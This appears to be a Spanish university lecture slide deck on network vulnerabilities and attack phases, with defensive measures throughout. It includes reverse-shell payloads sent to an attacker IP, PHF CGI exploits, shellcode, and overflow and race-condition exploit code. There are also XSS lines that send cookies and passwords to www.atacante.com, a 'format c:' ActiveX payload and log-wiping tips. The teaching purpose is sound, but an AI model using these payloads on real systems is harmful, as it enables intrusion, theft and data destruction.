89
Tema 7. Vunerabilidades y Amenazas Seguridad en Redes

Tema 7. Vulnerabilidades y amenazas.pdf

Embed Size (px)

Citation preview

  • Tema 7.Vunerabilidades y Amenazas

    Seguridad en Redes

  • La carrera por la supervivencia

    Presente desde los albores de la humanidad Desde mucho antes, es el motor de la evolucin

    Segn los predadores van siendo ms efectivos cazando, tambin evolucionan sus presas Guepardo vs. Gacela

    Estrategias de ataque cada vez ms elaboradas La lengua de los camaleones Cacera en grupo (lobos)

    Estrategias de supervivencia tambin muy sofisticadas Polillas sensibles a los ultrasonidos Estrategias de camuflaje/engao

    2

  • La carrera por la supervivencia3

    http://www.mlatv.com/2007/10/fotos-camuflaje-en-los-insectos.html

  • La carrera por la supervivencia

    Es sabia la naturaleza? Bsicamente funciona por ensayo y error Lleva 4.600 millones de aos funcionando

    La seguridad de sistemas tambin es una carrera Ciclo continuo de nuevas vulnerabilidades descubiertas y formas de

    solucionarlas Problema: nosotros no tenemos 4600 millones de aos Ciertos factores aceleran el proceso

    La globalidad de las comunicaciones La inteligencia

    Pero lo acelera para ambas partes (y MUCHO)

    4

  • De qu velocidad estamos hablando?

    Virus: 72 % Spyware: 51 % Phishing: 31 % Spam no autorizado: 40 % Accesos no autorizados: 60 %

    DoS: 36 % Captura de informacin secreta:

    19 % Fraude: 29 % Robo de identidad: 19 %

    Estadsticas del ao 2006 (434 organizaciones) (http://www.cert.org/archive/pdf/ecrimesurvey06.pdf):

    Toda mquina o red conectada a Internet es potencialmente vulnerable a ataques

    5

  • Qu pretendemos?

    Conocer al enemigo A primera vista, los atacantes En profundidad, las vulnerabilidades y amenazas

    6

  • Eleccin de objetivos Qu proteger

    Comprensin de vulnerabilidades Diseo seguro

    Localizacin de vulnerabilidades Qu est desprotegido

    Ejecucin de un ataque Cmo detectar / contrarrestar

    7

    Punto de vista del atacante experto

  • Fases de un ataque modelo

    Reconocimiento: analizar el sistema objetivo Valorar su inters Valorar sus posibles vulnerabilidades Anlisis de beneficios y costes

    Acceso remoto Ser capaz de dar rdenes arbitrarias a la mquina Acceso como usuario a la mquina

    Escalada de privilegios Conseguir los permisos necesarios para alcanzar el objetivo

    (generalmente administrador)

    8

  • Fases de un ataque modelo

    Objetivo concreto del ataque Robo o alteracin de informacin Despliegue de malware Uso de la mquina como pasarela para otro ataque

    Mantenimiento del acceso Borrado de huellas

    y todo comenz con una pequea vulnerabilidad

    9

  • Fases de un ataque

    Reconocimiento Acceso remoto Escalada de privilegios Objetivo concreto del ataque Mantenimiento del acceso Borrado de huellas

    10

  • Reconocimiento

    Proceso esencial en un ataque serio Analoga: asalto a un banco

    Tres fines primordiales: Analizar la red en busca de un objetivo valioso Descubrir los posibles puntos de ataque Planificar el ataque

    11

  • Reconocimiento

    Tcnicas de reconocimiento Footprinting

    Obtener informacin acerca del banco Scanning

    Inventario de puertas y ventanas Enumeration

    Ir al banco a hacerse una cuenta para ver el procedimiento Entrevistarse casualmente con los empleados del banco

    Vulnerability Mapping Revisar archivos de ataques a sucursales del mismo banco

    12

  • Footprinting

    Averiguar todo lo posible sobre la posible red objetivo y su seguridad Qu tipo de informacin alberga la red Nombres de dominio asociados a la red Mquinas accesibles desde el exterior Servicios TCP y UDP accesibles desde cada mquina

    Diferentes tcnicas en funcin del objetivo Bsqueda automtica de vulnerabilidades especficas, auditora

    de sistemas

    13

  • Footprinting. Tcnicas

    Navegar por la Web de la entidad objetivo (si la hay) Informacin acerca de la rentabilidad del ataque Polticas de seguridad pblicas Nmeros o e-mails de contacto Cdigo fuente de la pgina

    Consultas en buscadores y bases de datos Google, Altavista, Yahoo Bases de datos gubernamentales o empresariales

    14

  • Footprinting. Tcnicas

    Bases de datos WHOIS Asocian nombres de dominios o IPs a entidades Interfaz web o mediante protocolo whois

    http://www.ripe.net$whois nombre_dominio h whois.ripe.net

    Qu se puede obtener?: Direcciones postales de entidades Datos de contacto de administradores de red Organizacin que asigna determinada direccin IP Nombres de mquinas concretas (servidores DNS)

    15

  • Footprinting. Tcnicas

    Bases de datos WHOIS16

  • Footprinting. Tcnicas

    Consultas DNS Los DNS asocian nombres de dominio a direcciones IP Transferencia de zona

    Redundancia entre servidores DNS primarios y secundarios Slo debe responder a DNSs secundarios del dominio Debe separarse la informacin externa (pblica) de la interna

    Qu puede ocurrir si est mal configurado?nslookup dns.uah.es>set type=any>uah.esnotas 1D IN A 192.168.0.256

    1D IN HINFO Server Notas W2003uah.es mail exchanger = 10 mail.uah.es

    17

  • Footprinting. Tcnicas

    Traceroute Muestra la ruta que sigue un paquete hasta su destino Puede enviar paquetes ICMP y UDP a diferentes puertos Permite obtener informacin sobre la topologa de la red y los controles de

    acceso$ traceroute it.aut.uah.es1 192.168.128.1 6.651ms 12.562ms 49.592 ms2 172.29.0.254 12.702ms 1.744ms 50.681 ms3 * * * (100% loss)

    $ traceroute S p 53 it.aut.uah.es

    18

  • Proteccin contra Footprinting

    Conocer y controlar la informacin que se expone en webs y bases de datos de acceso pblico

    Configurar adecuadamente nuestros servidores DNS No permitir transferencias de zona annimas Segregar el servicio de nombres interno del externo

    Control de acceso adecuado en los firewalls Permitir el paso slo al trfico estrictamente

    necesario

    19

  • Scanning

    Determinar qu mquinas estn vivas Barridos de pings (a un host o a toda una subred)

    nmap - www.insecure.org/nmap $nmap sP 192.168.1.0/24 (ICMP ECHO)$nmap sP PT 80 192.168.1.0/24 (TCP 80)

    Obtener informacin sobre su configuracin Consultas mediante paquetes ICMP

    icmpquery - http://packetstormsecurity.org/UNIX/scanners/icmpquery.c$icmpquery t 192.168.1.1 (ICMP TIMESTAMP)192.168.1.1: 11:02:05$icmpquery n 192.168.1.1 (ICMP NETMASK)192.168.1.1: 0xFFFFFFE0

    20

  • Scanning

    Escaneo de puertos (Port Scanning) Enviar peticiones a puertos TCP y UDP de la mquina Permite identificar servicios activos en una mquina

    Netcat - permite utilizar sockets desde lnea de rdenes $nc v z w 2 192.168.1.1 1-140

    Diferentes tcnicas de escaneado TCP connect. Hace una conexin completa al puerto

    objetivo TCP SYN scan (stealth). Se enva slo el paquete SYN

    $nmap sS 192.168.1.1 ($nmap h )

    21

  • Proteccin contra scanning

    Permitir el paso a la red nicamente de los paquetes que sean necesarios Bloquear ICMP 8,13,17 Permitir slo determinados puertos TCP y UDP Aislar las mquinas internas de la red (firewalls)

    Mecanismos de deteccin IDS a nivel de red (http://ww.snort.org) Herramientas a nivel de host (scanlogd, ZoneAlarm)

    Mecanismos de reaccin

    22

  • Enumeracin

    Obtener informacin sobre los servicios detectados Nombres de usuario Versin del software del servicio Sistema operativo de la mquina que ofrece el servicio El objetivo es encontrar potenciales vulnerabilidades

    Banner grabbing Conectar al servicio y analizar la salida obtenida Ejemplo: HTTP

    $telnet www.nombredominio.com 80Server: Apache/1.3.12 (Unix) PHP/4.0.4

    mod_ssl/2.6.6 OpenSSL/0.9.5a Otros: SMTP, DNS, finger

    23

  • Enumeracin

    TCP/IP Stack Fingerprinting Cada S.O. implementa TCP/IP de un modo particular

    Tamao inicial de la ventana TCP Respuesta ante determinados paquetes (FIN) Valores de determinados campos TCP (TTL, flags)

    Es posible determinar qu S.O. utiliza una mquina a partir del comportamiento de la pila de protocolos TCP/IP

    Tcnicas pasivas: capturar trfico e identificar patrones Tcnicas activas: realizar tests especficos

    $nmap O 192.168.1.1

    24

  • Enumeracin

    Enumeracin en redes NetBIOS Listar los dominios de una red

    C:\>net view /domain Listar las mquinas de un dominio

    C:\>net view /domain:DOMINIO Listar los recursos de una mquina

    C:\>net view \\MAQUINA Acceder al registro de una mquina

    C:\>regdmp -m \\MAQUINA HKEY_LOCAL_MACHINE

    25

  • Proteccin de Enumeracin

    Deshabilitar servicios innecesarios Reforzar la configuracin de seguridad de los

    servicios que ofrecen informacin de la red NetBIOS SNMP

    Bloquear conexiones a determinados servicios a nivel de firewall

    26

  • Vulnerability mapping

    Asociar la informacin obtenida del sistema objetivos con potenciales vulnerabilidades Buscar los atributos del sistema en bases de datos de

    vulnerabilidades http://www.cert.org http://www.bugtraq.org

    Utilizar exploits disponibles en la red (o escribirlos) y lanzarlos contra la mquina objetivo

    Utilizar herramientas automatizadas de bsqueda de vulnerabilidades http://www.nessus.org

    27

  • Fases de un ataque

    Reconocimiento Acceso remoto Escalada de privilegios Objetivo concreto del ataque Mantenimiento del acceso Borrado de huellas

    28

  • Acceso remoto

    Qu significa acceso? Poder cumplir nuestro objetivo sobre la mquina En general, poder ejecutar rdenes shell

    Cmo acceder remotamente a un sistema? A travs de servicios a la escucha Usuarios que puedan facilitarnos el acceso Interfaces en modo promiscuo

    29

  • Ataques de fuerza bruta

    Muchos servicios emplean autenticacin basada en contraseas Telnet, FTP, POP, SMTP Comunidades SNMP

    Ataque de fuerza bruta: ir probando contraseas hasta ganar acceso Probar las combinaciones ms usuales Ataques basados en diccionario Utilidades que automatizan el proceso (Brutus, SNMPBrute)

    Mecanismos de prevencin Polticas de contraseas Polticas de bloqueo de cuentas

    30

  • Ataques basados en datos

    Explotan errores de programacin en los servicios Qu ocurre si a un programa que espera un nmero

    se le introduce una letra? El programa se comporta de forma inesperada

    Lo ms probable, que deje de funcionar (DoS) Acceso a funcionalidades no previstas Lo ms peligroso, ejecucin arbitraria de cdigo

    31

  • Errores de validacin de entrada

    Ocurre cuando un programa no comprueba la validez de los datos introducidos antes de emplearlos para algo sensible

    Un clsico: el exploit de PHF (1996)/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd El script utilizaba el parmetro Qalias en una llamada a popen(), que

    pretenda ejecutar la orden /usr/local/bin/ph m Qalias

    Como el carcter %0a representa el retorno de carro que se ejecutaba realmente era

    /usr/local/bin/ph m x /bin/cat /etc/passwd

    Permita ejecutar rdenes shell arbitrarias (!)

    32

  • Errores de validacin de entrada

    Otro ejemplo: tratamiento de cadenas en C y Perl Imaginemos un script en perl que utiliza un parmetro de entrada para

    escoger un fichero de plantilla que mostrar al usuario/cgi-bin/showpage.pl?template=main

    El script le aade al parmetro template la extensin .htm y realiza una llamada a open() Aparentemente seguro: slo permite abrir .htm Si le pasamos como parmetro /etc/passwd simplemente no encontrara el

    fichero Sin embargo, el script est escrito en Perl y open() est escrita en C

    /cgi-bin/showpage.pl?template=/etc/passwd%00 Perl aade .htm a la cadena /etc/passwd%00.htm open() corta la cadena en el \0 y muestra el fichero de passwords

    33

  • Buffer Overflows

    Imaginemos el siguiente cdigo void funcion (char * cadena) {

    char buffer[512];strcpy(buffer, cadena);

    } Problema: strcpy no comprueba si cadena cabe en buffer

    En la mayora de los casos, provocar la terminacin del programa Pero puede producir resultados an peores

    34

  • Stack-based Overflows En la pila se almacena:

    Los parmetros de la funcin La direccin de retorno (IP) El espacio para la variable

    buffer Si cadena > buffer

    Se sobreescribe IP El programa salta a la nueva

    direccin de retorno Ejecucion arbitraria de cdigo En general, el cdigo va en

    cadena Pila (Stack)*cadena

    IP

    buffercadena

    MP

    35

  • Stack-based Overflows. Ejemplo

    char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    char large_string[128];

    void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string;

    for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer;

    for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i];

    strcpy(buffer,large_string);}

    36

  • Stack-based Overflows

    En muchos casos, vulnerabilidad crtica En general, denegacin de servicio Puede provocar ejecucin arbitraria de cdigo Especialmente problemtica en ficheros SUID

    Difcil de explotar (en principio) Requiere conocer el espacio de direccin de pila Necesita que el buffer sea suficientemente grande Especialmente compleja la explotacin remota

    37

  • Ataques basados en datos

    Mecanismos de prevencin Prcticas de programacin seguras Auditar y probar los programas Desactivar los servicios innecesarios Tener el software actualizado No permitir la ejecucin de la pila (a nivel de SO)

    Mecanismos de deteccin Sistemas de deteccin de intrusiones

    38

  • Obtencin de shells

    Servicios tradicionales de interprete de rdenes Telnet, rlogin, ssh Vulnerabilidades

    Passwords dbiles Relaciones de confianza (fichero .rhosts)

    Escenario de ataque (vulnerabilidad PHF):$ echo "+ +" > /tmp/my.rhosts $ echo "GET /cgi-bin/phf?Qalias=x

    %[email protected]:/tmp/my.rhosts+ ~/.rhosts" | nc -v -w 20 victima.com 80

    $ rsh -l nobody victima.com "/bin/sh -i" [email protected]$

    Qu ocurre si no estn activos estos servicios?

    39

  • Obtencin de shells

    Aprovechar los terminales de X Window/cgi-bin/phf?Qalias=x%0a/usr/X11R6/bin/xterm%20-ut%20display%20

    IP_atacante:0.0

    Abrir canales de Telnet inversos Poner servidores en la mquina atacante escuchando en

    puertos permitidos por el firewall # nc l n v p 80 # nc l n v p 25(en ventanas diferentes)

    40

  • Obtencin de shells

    Abrir canales de Telnet inversos Abrir una shell en la mquina vctima y redirigirla hacia

    los servidores de la mquina atacante/cgi-bin/phf?Qalias=x%0a/bin/telnet%20IP_atacante%2080%20|%20/bin/sh

    %20|%20/bin/telnet%20IP_atacante%2025

    La orden que se ejecuta es/bin/telnet IP_atacante 80 | /bin/sh | /bin/telnet IP_atacante 25

    41

  • Atacante

    Vctima

    Obtencin de shells

    /bin/telnet IP_atacante 80 | /bin/sh | /bin/telnet IP_atacante 25

    /bin/sh

    telnet IP_atacante 80 telnet IP_atacante 25

    Firewallnc p 80 nc p 25

    42

  • Obtencin de shells

    Canales inversos con nc Poner un servidor a la escucha en la mquina

    atacante # nc l n v p 80

    Abrir una shell en la mquina vctima y redirigirla hacia los servidores de la mquina atacante/cgi-bin/phf?Qalias=x%0a/x%0a/bin/nc%20-e%20/bin/sh

    %20IP_atacante%2080 La orden que se ejecuta es

    nc -e /bin/sh IP_atacante 80

    43

  • Obtencin de shells

    Canales inversos con nc Si el servidor no tiene nc

    /cgi-bin/phf?Qalias=x%[email protected]:/tmp/nc+ ~/nc%0a~/nc%20-e%20/bin/sh%20IP_atacante%2080

    La orden que se ejecuta esrcp [email protected]:/tmp/nc ~/nc~/nc -e /bin/sh IP_atacante 80

    44

  • Obtencin de shells

    Mecanismos de proteccin Desactivar X Window en servidores y mquinas que

    no lo necesiten Ajustar los permisos de ejecucin de ficheros binarios

    como telnet o ssh para que no puedan ser ejecutados desde los usuarios de servicios como nobody.

    Bloquear en el firewall las conexiones que se generan desde los servidores

    45

  • Fases de un ataque

    Reconocimiento Acceso remoto Escalada de privilegios Objetivo concreto del ataque Mantenimiento del acceso Borrado de huellas

    46

  • Escalada de Privilegios

    Obtener los privilegios necesarios para el objetivo del ataque En general, el atacante ha obtenido una shell sin

    privilegios (nobody) Explotar vulnerabilidades locales para obtener

    privilegios de root En ocasiones puede bastar con privilegios intermedios

    47

  • Escalada de Privilegios

    Password cracking (e.g. UNIX) Las contraseas se guardan encriptadas en el fichero /etc/passwd

    o /etc/shadowroot:cwIBREDaWLHmo:0:0:root:/root:/bin/bash

    Hay utilidades que permiten realizar ataques de fuerza bruta contra estos ficheros Encriptan una contrasea y comparan el resultado Prueban todas las combinaciones, o utilizan diccionarios y reglas Crack, John the Ripper

    Requiere acceso al fichero que contiene los passwords

    48

  • Escalada de Privilegios

    Permisos de acceso a ficheros Una mala gestin de los permisos de ficheros puede generar grandes

    vulnerabilidades Ficheros con informacin sensible y permisos de lectura

    Fichero /etc/shadow legible Ficheros sobre los que pueda escribir cualquier usuario

    find / -perm -00002 type f print Pueden permitir a un atacante modificar aspectos crticos del sistema

    Ficheros SUID: Se ejecutan con los permisos de su propietario

    find / -perm -04000 type f print La ejecucin arbitraria de cdigo nos permite escalar a los privilegios del

    propietario El control sobre este tipo de ficheros es crtico para la seguridad

    49

  • Escalada de Privilegios

    Stack-based overflow local Anlogo al que veamos en

    acceso remoto Especialmente peligroso en

    ficheros SUID root Heap/BSS overflow

    Heap: regin de memoria para reservas dinmicas

    Adyacente a la regin BSS (variables estticas)

    50

  • Heap / BSS Overflow. Ejemplos

    Ejemplo de cdigo int main(int argc, char **argv) { FILE *tmpfd; static char buf[BUFSIZE], *tmpfile; tmpfile = "/tmp/vulprog.tmp"; printf("Enter one line of data"); gets(buf); tmpfd = fopen(tmpfile, "w"); fputs(buf, tmpfd); fclose(tmpfd); }

    51

  • Heap / BSS Overflow. Ejemplos

    Ejemplo de ataque (sobreescribe /root/.rhosts) memset(buf, 0, sizeof(buf)), strcpy(buf, "+ +\t# "); memset(buf + strlen(buf), 'A', DIFF); addr = getesp() + OFFSET; for (i = 0; i < sizeof(u_long); i++) buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255); memset(mainbuf, 0, sizeof(mainbufsize));

    snprintf(mainbuf, mainbufsize - 1, "echo '%s' | programa /root/.rhosts\n",buf);

    system(mainbuf);

    52

  • Heap / BSS Overflow. Ejemplos

    Otro ejemplo de cdigo int funcion(const char *str);

    int main(int argc, char **argv) { static char buf[BUFSIZE]; static int (*funcptr)(const char *str);

    funcptr = (int (*)(const char *str))funcion;

    memset(buf, 0, sizeof(buf)); strncpy(buf, argv[1], strlen(argv[1]));

    (void)(*funcptr)(argv[2]); return 0; }

    53

  • Ejemplo de ataque (ejecucin de cdigo) sysaddr = (u_long)&system - OFFSET; memset(buf, 'A', BUFSIZE);

    for (i = 0; i < sizeof(sysaddr); i++) buf[BUFSIZE + i] = ((u_long)sysaddr >> (i * 8)) & 255;

    execl(programa, programa, buf, /bin/sh", NULL); return 0;

    Ejecutar la funcin system(/bin/sh)

    Heap / BSS Overflow. Ejemplos54

  • Condiciones de carrera

    Aprovechan ventanas temporales en las que un proceso es vulnerable

    Ejemplo de cdigovoid main (int argc, char **argv) {

    int fd; if (access(argv[1], R_OK) != 0)

    exit(1); fd = open(argv[1], O_RDONLY); // Procesamos el fichero

    }

    55

  • Condiciones de carrera

    Ejemplo de ataquevoid main (int argc, char **argv) { // Directorios y links: // dir0/lnk -> fichero accesible // dir1/lnk -> /etc/shadow // activedir -> dir0 if (fork() == 0) { system(programa activedir/lnk"); exit(0); } usleep(1);

    // Cambiar directorios unlink("activedir"); symlink("dir1", "activedir"); }

    56

  • Cadenas de formato (Format Strings)

    Funciones como printf() y sprintf() utilizan una cadena de caracteres para dar formato.

    printf(Ttulo: %s %d, cadena, entero);

    Qu caracteres de formato podemos utilizar? %d: entero por valor %x: hexadecimal por valor %s: string por referencia (char *) %n: almacena nmero de caracteres escritos (int *)

    57

  • Cadenas de formato (Format Strings)

    En la pila se almacena:

    La funcin va procesando la cadena de formato carcter a carcter Al encontrar %, determina el tipo de parmetro y lo coge de la

    pila

    Pila (Stack)*cadenaFentero *cadena IP

    Memoria

    Llenado de la pila

    58

  • Cadenas de formato (Format Strings)

    Imaginemos el siguiente cdigovoid funcion (char * cadena) { printf(%s, cadena); printf(cadena); }

    La segunda llamada a printf es vulnerable Se toma como cadena de formato la cadena

    introducida por el usuario Insertando % adecuadamente, el usuario puede

    controlar la funcin

    59

  • Cadenas de formato (Format Strings)

    Qu posibilidades de explotacin permite? Denegacin de servicio

    printf(%s%s%s%s%s%s%s%s%s%s%s%s%s%s); Volcado de pila

    printf(%08x.%08x.%08x.%08x.%08x.%08x.);

    Pila (Stack)*cadena IP

    Memoria

    Llenado de la pila

    60

  • Cadenas de formato (Format Strings)

    Qu posibilidades de explotacin permite? Asistencia a un buffer overflow

    Ejemplo de cdigo (bftpd)char outbuf[512];char buffer[512];sprintf (buffer, "ERR Wrong command: %400s", user);sprintf (outbuf, buffer);

    El primer snprintf limita la longitud de la cadena a 400 bytes

    El segundo snprintf es vulnerable Podemos utilizar cadenas de formato para agrandarla

    "%497d\x3c\xd3\xff\xbf"

    61

  • Cadenas de formato (Format Strings)

    Qu posibilidades de explotacin permite? Lectura ARBITRARIA de memoria

    Requiere un tipo de formato adecuado: %s Requiere que coloquemos en la pila la direccin a leer Dnde colocarla? En la propia cadena de formato

    printf(\x10\x01\x48\x08_%08x.%08x.%08x.|%s);

    Pila (Stack)*cadena IP

    Llenado de la pila

    \x10\x01\x48\x08_%08x

    62

  • Cadenas de formato (Format Strings)

    Qu posibilidades de explotacin permite? Escritura ARBITRARIA en memoria

    Misma idea que en el caso anterior Utilizamos %n para escribir en una direccin de memoria

    arbitrariaprintf(\x10\x01\x48\x08_%08x.%08x.%08x.%n);

    Problema: no controlamos qu numero escribimos

    Pila (Stack)*cadena IP

    Llenado de la pila

    \x10\x01\x48\x08_%08x

    63

  • Cadenas de formato (Format Strings)

    Qu posibilidades de explotacin permite? Escritura ARBITRARIA controlada en memoria

    Podemos manipular la cadena de formato para controlar qu nmero escribimosprintf(%64u%n, 12, (int *) entero);

    Problema: no sirve para nmeros grandes (e.g. direcciones) Escritura arbitraria de direcciones

    Podemos escribir cuatro veces, un byte cada vez Solo factible si podemos llamar varias veces a la funcin Poco til si la direccin en la que queremos escribir cambia

    64

  • Cadenas de formato (Format Strings)

    Qu posibilidades de explotacin permite? Escritura ARBITRARIA controlada one-shot

    Podra conseguirse con una llamada del tipo printf(%16u%n%16u%n%32u%n%64u%n

    ,1,dir,1,dir+1,1,dir+2,1,dir+3); Problema: difcil encontrar una llamada con esa estructura Solucin: meter manualmente los parmetros en la pila

    Pila (Stack)IP%08d...%08d\x01\x01\x01\x01\x10\x01\x48\x08...%3u%n

    65

  • Cadenas de formato (Format Strings)

    Qu posibilidades de explotacin permite? Ejecucin arbitraria de cdigo sobreescribiendo la

    direccin de retorno de la funcin en la pila Ms sencillo por poder leer la pila (si hay varios intentos)

    Pero no solo podemos sobreescribir la pila GOT (Global Offset Table), independiente del entorno (!!!)

    syslog (LOG_NOTICE, user);exit (EXIT_FAILURE);

    Se salta protecciones basadas en la pila Punteros a funciones

    66

  • Integer overflows

    Se producen al intentar introducir en una variable numrica un valor que supera la capacidad de la variable

    Ejemplo de cdigoint concatena(char *buf1, char *buf2, unsigned int len1,

    unsigned int len2){ char buf[256];

    if((len1 + len2) > 256){ /* [3] */ return -1; } memcpy(buf, buf1, len1); /* [4] */ memcpy(buf + len1, buf2, len2);

    ... }

    67

  • Integer overflows

    Pueden aprovecharse para esquivar controles de tamao en escrituras en memoria Si len1 = 0x104 y len2=0xfffffffc

    len1 + len2 = 256 (!!!) Podemos provocar un desbordamiento de buffer

    Otro ejemploint copiar(char *buf, int len){

    char kbuf [100]; if(len > sizeof(kbuf)){ /* [1] */ return -1; } return memcpy(kbuf, buf, len); /* [2] */ }

    68

  • Integer overflows

    En este caso el problema es de conversin de signos int: entero con signo Llamada a memcpy(): recibe entero sin signo Si len=-1 (0xfffffffe)

    Pasa sin problemas el primer control Se convierte en un entero grande al llamar a memcpy y

    desborda 2008-04-02: vulnerabilidad en Realtek Audio Codec

    Provocado por un integer overflow Permite escribir en el registro de Windows y sobreescribir

    zonas arbitrarias de memoria del kernel

    69

  • Mecanismos de seguridad

    Mecanismos de prevencin Control riguroso de permisos de acceso a ficheros Control de ficheros SUID Prcticas de programacin seguras Desactivar los servicios innecesarios Tener el software actualizado No permitir la ejecucin de stack o heap (a nivel de SO) Parches de SO (Stackguard, FormatGuard)

    Mecanismos de deteccin Sistemas de deteccin de intrusiones

    70

  • Una vez dentro

    Reconocimiento Acceso remoto Escalada de privilegios Objetivo concreto del ataque Mantenimiento del acceso Borrado de huellas

    71

  • Una vez dentro...

    Ganar acceso es slo el principio Objetivo final del ataque

    Obtener informacin valiosa que se encuentre en la mquina

    Capturar contraseas a servidores externos, informacin bancaria, nmeros de tarjetas

    Usar la mquina como pasarela para otro ataque Denegacin de servicio

    72

  • Una vez dentro...

    Troyanos Versiones modificadas de ficheros binarios del sistema

    Un login modificado que enve las contraseas al atacante Servidores que permitan acceso remoto posterior

    Mecanismos de deteccin: controles de integridad (Tripwire) Sniffers: capturan paquetes de la red

    Pueden obtener contraseas y otra informacin valiosa de la vctima y de otras mquinas

    Mecanismos de prevencin: criptografa Mecanismos de deteccin: IDS

    Keyloggers: capturan pulsaciones de teclado

    73

  • Una vez dentro...

    Rootkits Incluyen varias de las herramientas anteriores Suelen incluir tambin mecanismos que evitan la

    deteccin Versiones modificadas de ls, ps

    Kernel Rootkits Modifican directamente el ncleo del sistema Permiten ocultar ficheros, procesos, conexiones de red

    Incluso engaan a utilidades como Tripwire Casi imposibles de detectar

    74

  • Una vez dentro...

    Limpieza de logs Borrado de huellas Localizacin de logs

    cat /etc/syslog.conf Normalmente en /var/log

    cron, maillog, messages, wtmp Puede requerir el empleo de utilizades especficas

    (zapper) wzap para borra a un usuario en wtmp ZAP2 borra wtmp, utmp y lastlog

    Eliminar la historia de rdenes de la shell ~/.bash_history

    75

  • Una vez dentro...

    Mecanismos de seguridad Una vez comprometido el sistema, es muy difcil

    valorar el alcance de la intrusin Mecanismos de prevencin: IDSs

    Snort (http://www.snort.org) LIDS Linux Intrusion Detection System

    (http://www.lids.org) Almacenamiento de logs en soporte no modificable Estrategias de respuesta ante incidentes

    Kits de recogida de evidencias (The Coroners Toolkit)

    76

  • El eslabn ms dbil: El usuario

    Por qu atacar al usuario final? Mucho ms numeroso En general, ms sencillo

    Sabe menos de seguridad que un administrador Emplea software mucho ms diverso

    Pasarela de acceso a redes corporativas Plataforma de lanzamiento de otros ataques

    Ataques a usuarios finales Suplantacin de identidad Ejecucin de cdigo malicioso Robo de informacin

    77

  • Suplantacin de identidad

    Phishing Suplantar a un sitio web legtimo y conseguir que el usuario revele sus

    credenciales de acceso a l

    Ataque de hombre en medio Para obtener credenciales de acceso a sitios seguros

    Robo de Cookies de sesin

    78

  • Suplantacin de identidad

    Cross-site Scripting (XSS) Utiliza sitios web donde los usuarios pueden subir contenidos Un usuario malicioso inserta contenido HTML en el sitio Web

    var passwrd=prompt(Your session has expired. Please enter you password to continue.,);location.href=http://www.atacante.com/p.cgi?p=+password

    Si el sitio Web no inspecciona el contenido antes de publicarlo, puede atacar

    a otros usuarios Otras posibilidades

    cook=document.cookie

    location.href=http://www.atacante.com/p.cgi?p=+cook

    XSS Indirecto (URLs del tipo error.php?error=Fatal%20Error)

    79

  • Ejecucin de cdigo malicioso

    Subprogramas activos en pginas Web Controles ActiveX o Applets de Java Cada tecnologa dispone de sus propios mecanismos de seguridad Especialmente problemtico cuando ficheros legtimos son vulnerables

    Ejemplo: Software para HP color LaserJet 2820/2840. Descubierta el 24 de abril de 2008 Contiene un control ActiveX HPeDiag.dll, vulnerable a un buffer overflow El control est marcado como safe for scripting Permite a un atacante ejecutar cdigo arbitrario en la mquina vctima si

    visita una determinada Web

    80

  • Ejecucin de cdigo malicioso

    Otro ejemplo: HP Info Center (HPInfoDLL.dll ) Marcado safe for scripting No tiene vulnerabilidades convencionales Permite a la pgina web que lo lanza ejecutar, entre otros, los mtodos

    VARIANT GetRegValue(String sHKey, String sectionName, String keyName); void SetRegValue(String sHKey, String sSectionName, String sKeyName,

    sValue); void LaunchApp(String appPath, String params, int cmdShow);

    Permite al atacante leer o escribir en el registro y ejecutar cdigo arbitrario

    81

  • Ejecucin de cdigo malicioso

    Ejemplo de ataque (muy simple):

    function spawn2() { o2obj.LaunchApp("c:\\windows\\system32\\cmd.exe","/C format c:,0); }

  • Ejecucin de cdigo malicioso

    Ficheros adjuntos de correo electrnico Ficheros ejecutables (.exe, .bat, .com) Vulnerabilidades en otras aplicaciones (Winzip,

    Mediaplayer, MSOffice) Mecanismos de seguridad

    Propios de cada tecnologa (security zones, sandboxing)

    Actualizaciones del sistema operativo y software Cuidado al hacer click (aunque no siempre es fcil) Acceder a Internet con usuarios sin privilegios

    83

  • Botnets

    Redes de mquinas comprometidas (zombies) En su mayora, mquinas de usuarios

    finales o instituciones (universidades) Infectadas por medio de worms Controladas a travs de IRC

    El controlador vende el acceso a la Botnet como plataforma para cometer delitos Robo de informacin Ataques de denegacin de servicio Envo de spam

    84

  • Botnets

    Ejemplo: Storm Botnet Creada por medio del Storm Worm (enero 2007) Se propaga a mquinas Windows por medio de spam

    Unas 6000 mquinas dedicadas a esparcir el virus Record de hasta 57 millones de mails en un da (agosto 2007) Elevado nmero de mutaciones (2 a la hora) 2-50 millones de bots El 1 de abril de 2008, nueva oleada de infeccin

    Controlada por medio de protocolos P2P y trfico cifrado Implicada en spam, phishing, DoS (incluso

    contraataques)

    85

  • Denegacin de Servicio (DoS)

    Hacer que un servicio o sistema deje de funcionar adecuadamente

    Diferentes motivaciones Ms sencillo que ganar acceso (en general) Necesidad de reiniciar una mquina Suplantacin Sabotaje

    86

  • Tipos de ataques DoS

    Consumo de ancho de banda Inundacin directa (>ancho de banda) Inundacin inducida (Smurf) Ataques de denegacin de servicio distribuidos

    (DDoS) Consumo de recursos de la mquina Fallos de programacin Ataques sobre la configuracin de red

    Routers, DNSs

    87

  • Conclusiones

    Internet no es segura Toda mquina es potencialmente vulnerable a ataques Existen tcnicas muy diversas (y de diferentes niveles de

    sofisticacin) para comprometer una mquina Una vez consumado el ataque, la recuperacin es costosa

    Debemos intentar evitar que nuestro sistema sea vctima de un ataque Conocimiento de las tcnicas y vulnerabilidades Despliegue de mecanismos de proteccin

    Es una carrera por la supervivencia Buscar, comprender, repetir

    88

  • Referencias

    Hacking Exposed. Network Security Secrets & Solutions. Fifth Edition. McGraw-Hill

    Incident Response. Investigating Computer Crime (2001, McGraw-Hill)

    Bases de datos de vulnerabilidades http://www.cert.org http://www.bugtraq.org

    89

